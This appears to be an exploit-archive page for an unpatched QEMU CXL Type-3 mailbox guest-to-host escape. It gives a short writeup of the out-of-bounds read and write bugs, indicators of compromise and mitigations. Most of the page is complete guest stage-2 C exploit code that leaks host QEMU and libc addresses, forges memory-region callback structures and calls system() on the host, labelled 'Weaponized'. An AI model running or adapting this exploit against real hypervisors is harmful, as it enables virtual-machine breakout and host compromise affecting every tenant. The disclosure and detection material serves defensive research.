PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

QEMU CXL Type-3 Mailbox Guest-to-Host Escape

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
QEMU (CXL Type-3 device emulation, hw/cxl/cxl-mailbox-utils.c)
Affected versions
Upstream QEMU commit 30e8a06b64aa58a3990ba39cb5d09531e7d265e0 (reports as QEMU emulator version 11.0.50), built with CXL Type-3 support
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusWeaponized
Tagsqemu, cxl, virtualization, vm-escape, memory-corruption, mailbox, guest-to-host, pointer-leak
RelatedN/A

Affected Target

FieldValue
Software / SystemQEMU (CXL Type-3 device emulation, hw/cxl/cxl-mailbox-utils.c)
Versions AffectedUpstream QEMU commit 30e8a06b64aa58a3990ba39cb5d09531e7d265e0 (reports as QEMU emulator version 11.0.50), built with CXL Type-3 support
Language / PlatformC (QEMU host), 16/32-bit x86 guest bootloader/stage2 (assembly + freestanding C)
Authentication RequiredNo (requires guest code execution on a VM configured with a CXL Type-3 device)
Network Access RequiredNo

Summary

QEMU’s CXL Type-3 mailbox command handling contains two related out-of-bounds issues: the GET_LOG handler validates offset + length as a byte range but then uses offset as an array index into cci->cel_log, and the SET_FEATURE rank-sparing handler copies guest-supplied data to rank_sparing_wr_attrs + hdr->offset without validating the destination object’s bounds. A guest with a CXL Type-3 endpoint attached can chain these primitives to leak QEMU and libc pointers via GET_LOG, then use the unchecked SET_FEATURE copy to forge in-memory FlatView/AddressSpaceDispatch/MemoryRegion/MemoryRegionOps structures inside the CXL device object, and finally trigger a MEDIA_OPERATIONS sanitize call that invokes the forged MemoryRegionOps.write callback to call libc system() on the QEMU host process. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

The CXL GET_LOG mailbox command validates the requested byte range against sizeof(cci->cel_log) but then uses the raw offset value as an array index/pointer offset in memmove(payload_out, cci->cel_log + get_log->offset, get_log->length), permitting an out-of-bounds read that leaks host pointers. Separately, the SET_FEATURE rank-sparing handler performs memcpy((uint8_t *)&ct3d->rank_sparing_wr_attrs + hdr->offset, mem_sparing_write_attrs, bytes_to_copy) without validating that hdr->offset keeps the write inside the destination object, enabling an out-of-bounds write into adjacent CXLType3Dev object memory.

Attack Vector

  1. Guest bootloader switches to protected mode and jumps into a freestanding stage-2 payload.
  2. Stage-2 configures the CXL root port and Type-3 endpoint via PCI config space I/O.
  3. GET_LOG is abused to leak a QEMU text-segment pointer and the host CXLType3Dev object pointer, from which the QEMU PIE base is derived.
  4. A fake callback to memmove@plt is used to further leak the libc base and resolve system().
  5. SET_FEATURE rank-sparing writes forge a dynamic-capacity state plus FlatView/AddressSpaceDispatch/MemoryRegionSection/MemoryRegion/MemoryRegionOps structures into the tail of the CXL Type-3 device object.
  6. A MEDIA_OPERATIONS sanitize command calls address_space_set() against the forged dynamic-capacity address space, invoking the forged MemoryRegionOps.write callback.
  7. The forged callback first leaks libc addresses, then calls system() on the QEMU host process with an attacker-chosen command, writing a marker file to prove host code execution.

Impact

Full guest-to-host virtual machine escape: arbitrary command execution in the QEMU host process from a guest that only has a CXL Type-3 device attached. This is a critical hypervisor-breakout primitive in any environment where QEMU exposes CXL Type-3 emulation to guest control.


Environment / Lab Setup

Target:   qemu-system-x86_64 built with CXL Type-3 support, commit 30e8a06b64aa58a3990ba39cb5d09531e7d265e0
Attacker: nasm, gcc (32-bit freestanding), ld, python3 (to rebuild poc.img); Linux host shell with `timeout` to replay

Proof of Concept

PoC Script

See boot.asm, stage2.c, stage2.ld, build.sh, run.sh, and the prebuilt poc.img in this folder.

1
sh run.sh /absolute/path/to/qemu-system-x86_64

run.sh launches a CXL-enabled q35 QEMU machine with one CXL Type-3 endpoint and boots poc.img from floppy. The guest stage drives the PCI/CXL mailbox exploit chain and, on success, the host process executes id > /tmp/qemu_cxl_escape_marker, which run.sh checks for. Use build.sh to rebuild poc.img from the assembly/C sources.


Detection & Indicators of Compromise

/tmp/qemu_cxl_escape_marker

Signs of compromise:

  • QEMU host process spawning unexpected child processes (shell, id, or arbitrary commands) with no corresponding guest-initiated device operation that should cause this
  • Anomalous CXL mailbox command sequences (GET_LOG with unusual offsets, repeated SET_FEATURE rank-sparing commands) in QEMU trace/monitor logs
  • Unexplained files created by the user account running the QEMU process

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory; upstream QEMU CXL maintainers should bound-check offset/length against the destination object size in both GET_LOG and SET_FEATURE rank-sparing handlers
Interim mitigationDisable or avoid exposing CXL Type-3 device emulation to untrusted/guest-controlled VMs until patched; restrict who can configure CXL devices on guests; run QEMU with additional host-level sandboxing (seccomp, minimal privileges) to limit impact of a host-process command execution

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: qemu-cxl-type3-mailbox-escape-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The prebuilt poc.img disk image (~1.4MB) is included in this folder; the source repository also provides build.sh to regenerate it.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;

typedef struct {
    u32 lo;
    u32 hi;
} U64;

typedef struct __attribute__((packed, aligned(8))) {
    u32 lo;
    u32 hi;
} QWord;

#define COMP_BAR       0xe0000000u
#define DEV_REG_BAR    0xe0010000u
#define MAILBOX        (DEV_REG_BAR + 0x88u)
#define MBOX_CTRL      (MAILBOX + 0x04u)
#define MBOX_CMD       (MAILBOX + 0x08u)
#define MBOX_STS       (MAILBOX + 0x10u)
#define MBOX_BG_STS    (MAILBOX + 0x18u)
#define MBOX_PAYLOAD   (MAILBOX + 0x20u)

#define CMD_GET_LOG    0x0401u
#define CMD_SET_FEAT   0x0502u
#define CMD_MEDIA_OP   0x4402u

#define GET_LOG_OOB_BASE_OFFSET 0x10000u
#define CMD_LOGS_GET_LOG_OFF    0x004ad6f0u
#define MEMMOVE_PLT_OFF         0x003381b0u
#define LIBC_START_MAIN_GOT_OFF 0x01ad6fe8u
#define LIBC_START_MAIN_OFF     0x0002a200u
#define SYSTEM_OFF              0x00058750u

#define RANK_SPARING_WR_ATTRS_OFF     0x006c5b6au
#define GET_LOG_OOB_MEM_BASE_FROM_CT3D 0x00245820u

#define FAKE_FLATVIEW_OFF       0x054eu
#define FAKE_DISPATCH_OFF       0x058eu
#define FAKE_SECTION_OFF        0x05d6u
#define FAKE_MEMORY_REGION_OFF  0x062eu
#define FAKE_OPS_OFF            0x074eu
#define FAKE_BITMAP_OFF         0x07aeu
#define FAKE_COMMAND_OFF        0x07b6u
#define RIP_SMASH_DATA_LEN      0x07eeu

#define DC_TOTAL_CAPACITY_FROM_RANK 0x00aeu
#define DC_NUM_REGIONS_FROM_RANK   0x00e2u
#define DC_REGION0_FROM_RANK       0x00e6u

#define CXL_STATIC_VMEM_SIZE 0x10000000u
#define CXL_CACHELINE_SIZE   0x40u

static u8 fake[RIP_SMASH_DATA_LEN];

static const u8 cel_uuid[16] = {
    0x0d, 0xa9, 0xc0, 0xb5, 0xbf, 0x41, 0x4b, 0x78,
    0x8f, 0x79, 0x96, 0xb1, 0x62, 0x3b, 0x3f, 0x17
};

static const u8 rank_uuid[16] = {
    0x34, 0xdb, 0xaf, 0xf5, 0x05, 0x52, 0x42, 0x81,
    0x8f, 0x76, 0xda, 0x0b, 0x5e, 0x7a, 0x76, 0xa7
};

static const char host_cmd[] =
    "id>/tmp/qemu_cxl_escape_marker";

static inline void outl(u16 port, u32 value)
{
    __asm__ __volatile__("outl %0, %1" : : "a"(value), "Nd"(port));
}

static inline void outb(u16 port, u8 value)
{
    __asm__ __volatile__("outb %0, %1" : : "a"(value), "Nd"(port));
}

static inline u8 inb(u16 port)
{
    u8 value;
    __asm__ __volatile__("inb %1, %0" : "=a"(value) : "Nd"(port));
    return value;
}

static inline void pause_cpu(void)
{
    __asm__ __volatile__("pause");
}

static void cfgw(u32 addr, u32 value)
{
    outl(0x0cf8, addr);
    outl(0x0cfc, value);
}

static void serial_init(void)
{
    outb(0x3f8 + 1, 0x00);
    outb(0x3f8 + 3, 0x80);
    outb(0x3f8 + 0, 0x03);
    outb(0x3f8 + 1, 0x00);
    outb(0x3f8 + 3, 0x03);
    outb(0x3f8 + 2, 0xc7);
    outb(0x3f8 + 4, 0x0b);
}

static void serial_putc(char c)
{
    while ((inb(0x3f8 + 5) & 0x20) == 0) {
        pause_cpu();
    }
    outb(0x3f8, (u8)c);
}

static void serial_puts(const char *s)
{
    while (*s) {
        serial_putc(*s++);
    }
}

static void serial_hex32(u32 v)
{
    static const char h[] = "0123456789abcdef";
    int i;
    for (i = 7; i >= 0; i--) {
        serial_putc(h[(v >> (i * 4)) & 0xf]);
    }
}

static void serial_u64(const char *name, U64 v)
{
    serial_puts(name);
    serial_puts("=0x");
    serial_hex32(v.hi);
    serial_hex32(v.lo);
    serial_puts("\n");
}

static inline void w32(u32 addr, u32 value)
{
    *(volatile u32 *)addr = value;
}

static inline u32 r32(u32 addr)
{
    return *(volatile u32 *)addr;
}

static void mmio_write64(u32 addr, u32 lo, u32 hi)
{
    QWord q;
    q.lo = lo;
    q.hi = hi;
    __asm__ __volatile__(
        "movq %0, %%mm0\n\t"
        "movq %%mm0, (%1)\n\t"
        "emms\n\t"
        :
        : "m"(q), "r"(addr)
        : "memory");
}

static QWord mmio_read64(u32 addr)
{
    QWord q;
    __asm__ __volatile__(
        "movq (%1), %%mm0\n\t"
        "movq %%mm0, %0\n\t"
        "emms\n\t"
        : "=m"(q)
        : "r"(addr)
        : "memory");
    return q;
}

static U64 u64_add(U64 a, u32 b)
{
    U64 r;
    r.lo = a.lo + b;
    r.hi = a.hi + (r.lo < a.lo);
    return r;
}

static U64 u64_sub(U64 a, u32 b)
{
    U64 r;
    r.lo = a.lo - b;
    r.hi = a.hi - (a.lo < b);
    return r;
}

static void zero(void *p, u32 n)
{
    u8 *b = (u8 *)p;
    while (n--) {
        *b++ = 0;
    }
}

static void put32(u8 *b, u32 off, u32 v)
{
    b[off + 0] = (u8)v;
    b[off + 1] = (u8)(v >> 8);
    b[off + 2] = (u8)(v >> 16);
    b[off + 3] = (u8)(v >> 24);
}

static void put64(u8 *b, u32 off, U64 v)
{
    put32(b, off, v.lo);
    put32(b, off + 4, v.hi);
}

static void put64i(u8 *b, u32 off, u32 lo)
{
    put32(b, off, lo);
    put32(b, off + 4, 0);
}

static void payload_write(u32 off, const void *src, u32 n)
{
    volatile u8 *dst = (volatile u8 *)(MBOX_PAYLOAD + off);
    const u8 *s = (const u8 *)src;
    while (n--) {
        *dst++ = *s++;
    }
}

static void payload_write_zero(u32 off, u32 n)
{
    volatile u8 *dst = (volatile u8 *)(MBOX_PAYLOAD + off);
    while (n--) {
        *dst++ = 0;
    }
}

static void mailbox_cmd(u32 opcode, u32 len)
{
    mmio_write64(MBOX_CMD, opcode | (len << 16), 0);
    w32(MBOX_CTRL, 1);
    while (r32(MBOX_CTRL) & 1) {
        pause_cpu();
    }
}

static U64 leak_rel(u32 rel)
{
    u32 off = GET_LOG_OOB_BASE_OFFSET + (rel >> 2);
    payload_write(0, cel_uuid, 16);
    w32(MBOX_PAYLOAD + 16, off);
    w32(MBOX_PAYLOAD + 20, 8);
    mailbox_cmd(CMD_GET_LOG, 24);
    return (U64){ r32(MBOX_PAYLOAD), r32(MBOX_PAYLOAD + 4) };
}

static void send_rank(u16 feature_off, const u8 *data, u32 n)
{
    payload_write(0, rank_uuid, 16);
    w32(MBOX_PAYLOAD + 16, 1);
    w32(MBOX_PAYLOAD + 20, ((u32)1 << 16) | feature_off);
    payload_write_zero(24, 8);
    payload_write(32, data, n);
    mailbox_cmd(CMD_SET_FEAT, 32 + n);
}

static void trigger_media_sanitize(void)
{
    w32(MBOX_PAYLOAD + 0, 0x00000001u);
    w32(MBOX_PAYLOAD + 4, 0x00000001u);
    w32(MBOX_PAYLOAD + 8, CXL_STATIC_VMEM_SIZE);
    w32(MBOX_PAYLOAD + 12, 0);
    w32(MBOX_PAYLOAD + 16, CXL_CACHELINE_SIZE);
    w32(MBOX_PAYLOAD + 20, 0);
    mailbox_cmd(CMD_MEDIA_OP, 24);
    serial_puts("media-op sent\n");
}

static void wait_bg_done(void)
{
    u32 i;
    for (i = 0; i < 0xffffffffu; i++) {
        QWord st = mmio_read64(MBOX_STS);
        if ((st.lo & 1u) == 0) {
            serial_puts("bg done\n");
            break;
        }
        pause_cpu();
    }
}

static void forge_payload(U64 rank_host, U64 fn, U64 opaque, U64 mr_addr,
                          const char *arg)
{
    U64 fake_flatview = u64_add(rank_host, FAKE_FLATVIEW_OFF);
    U64 fake_dispatch = u64_add(rank_host, FAKE_DISPATCH_OFF);
    U64 fake_section = u64_add(rank_host, FAKE_SECTION_OFF);
    U64 fake_mr = u64_add(rank_host, FAKE_MEMORY_REGION_OFF);
    U64 fake_ops = u64_add(rank_host, FAKE_OPS_OFF);
    U64 fake_bitmap = u64_add(rank_host, FAKE_BITMAP_OFF);
    U64 fake_command = u64_add(rank_host, FAKE_COMMAND_OFF);
    u32 region0 = DC_REGION0_FROM_RANK;

    zero(fake, RIP_SMASH_DATA_LEN);

    put64(fake, 0x2e, fake_flatview);
    put64i(fake, DC_TOTAL_CAPACITY_FROM_RANK, CXL_CACHELINE_SIZE);
    fake[DC_NUM_REGIONS_FROM_RANK] = 1;

    put64i(fake, region0 + 0, CXL_STATIC_VMEM_SIZE);
    put64i(fake, region0 + 8, CXL_CACHELINE_SIZE);
    put64i(fake, region0 + 16, CXL_CACHELINE_SIZE);
    put64i(fake, region0 + 24, CXL_CACHELINE_SIZE);
    put64(fake, region0 + 40, fake_bitmap);
    fake[region0 + 96] = 1;
    fake[region0 + 0x6c] = 1;

    put32(fake, FAKE_FLATVIEW_OFF + 16, 1);
    put64(fake, FAKE_FLATVIEW_OFF + 40, fake_dispatch);
    put64(fake, FAKE_FLATVIEW_OFF + 48, fake_mr);

    put64(fake, FAKE_DISPATCH_OFF, fake_section);

    put64i(fake, FAKE_SECTION_OFF, CXL_CACHELINE_SIZE);
    put64i(fake, FAKE_SECTION_OFF + 8, 0);
    put64(fake, FAKE_SECTION_OFF + 16, fake_mr);
    put64(fake, FAKE_SECTION_OFF + 24, fake_flatview);
    put64(fake, FAKE_SECTION_OFF + 32, mr_addr);
    put64i(fake, FAKE_SECTION_OFF + 40, CXL_STATIC_VMEM_SIZE);

    put64(fake, FAKE_MEMORY_REGION_OFF + 80, fake_ops);
    if (arg) {
        u32 i = 0;
        while (arg[i] && FAKE_COMMAND_OFF + i < RIP_SMASH_DATA_LEN - 1) {
            fake[FAKE_COMMAND_OFF + i] = (u8)arg[i];
            i++;
        }
        fake[FAKE_COMMAND_OFF + i] = 0;
        opaque = fake_command;
    }
    put64(fake, FAKE_MEMORY_REGION_OFF + 88, opaque);
    put64i(fake, FAKE_MEMORY_REGION_OFF + 112, CXL_CACHELINE_SIZE);
    fake[FAKE_MEMORY_REGION_OFF + 152] = 1;
    fake[FAKE_MEMORY_REGION_OFF + 154] = 1;

    put64(fake, FAKE_OPS_OFF + 8, fn);
    put32(fake, FAKE_OPS_OFF + 40, 1);
    put32(fake, FAKE_OPS_OFF + 44, 1);
    fake[FAKE_OPS_OFF + 48] = 1;
    put32(fake, FAKE_OPS_OFF + 64, 1);
    put32(fake, FAKE_OPS_OFF + 68, 1);
    fake[FAKE_OPS_OFF + 72] = 1;
    put64i(fake, FAKE_BITMAP_OFF, 0xffffffffu);
    put32(fake, FAKE_BITMAP_OFF + 4, 0xffffffffu);
}

static void fake_write_call(U64 rank_host, U64 fn, U64 opaque, U64 mr_addr,
                            const char *arg)
{
    forge_payload(rank_host, fn, opaque, mr_addr, arg);
    send_rank(0x2e, fake + 0x2e, RIP_SMASH_DATA_LEN - 0x2e);
    trigger_media_sanitize();
    wait_bg_done();
}

static void setup_pci(void)
{
    cfgw(0x80340018u, 0x00353534u);
    cfgw(0x80340020u, 0xe0f0e000u);
    cfgw(0x80340004u, 0x00100006u);

    cfgw(0x80350010u, COMP_BAR);
    cfgw(0x80350014u, 0x00000000u);
    cfgw(0x80350018u, DEV_REG_BAR);
    cfgw(0x8035001cu, 0x00000000u);
    cfgw(0x80350004u, 0x00100006u);
}

void __attribute__((section(".text.start"))) _start(void)
{
    U64 handler, qemu_base, memmove_plt, libc_got, ct3d_host, rank_host;
    U64 leak_slot, leak_src, libc_start, libc_base, system_fn;

    serial_init();
    serial_puts("stage2 start\n");
    setup_pci();
    serial_puts("pci done\n");

    handler = leak_rel(0x80c8);
    serial_u64("handler", handler);
    qemu_base = u64_sub(handler, CMD_LOGS_GET_LOG_OFF);
    memmove_plt = u64_add(qemu_base, MEMMOVE_PLT_OFF);
    libc_got = u64_add(qemu_base, LIBC_START_MAIN_GOT_OFF);
    serial_u64("qemu_base", qemu_base);

    ct3d_host = leak_rel(0x88);
    serial_u64("ct3d", ct3d_host);
    rank_host = u64_add(ct3d_host, RANK_SPARING_WR_ATTRS_OFF);
    serial_u64("rank", rank_host);

    leak_slot = u64_add(ct3d_host, GET_LOG_OOB_MEM_BASE_FROM_CT3D + 0x100u);
    leak_src = u64_sub(libc_got, CXL_CACHELINE_SIZE - 1u);
    serial_puts("fake leak call\n");
    fake_write_call(rank_host, memmove_plt, leak_slot, leak_src, 0);

    libc_start = leak_rel(0x100);
    serial_u64("libc_start", libc_start);
    libc_base = u64_sub(libc_start, LIBC_START_MAIN_OFF);
    system_fn = u64_add(libc_base, SYSTEM_OFF);
    serial_u64("system", system_fn);

    serial_puts("fake system call\n");
    fake_write_call(rank_host, system_fn, (U64){0, 0}, (U64){0, 0}, host_cmd);
    serial_puts("stage2 done\n");

    for (;;) {
        __asm__ __volatile__("hlt");
    }
}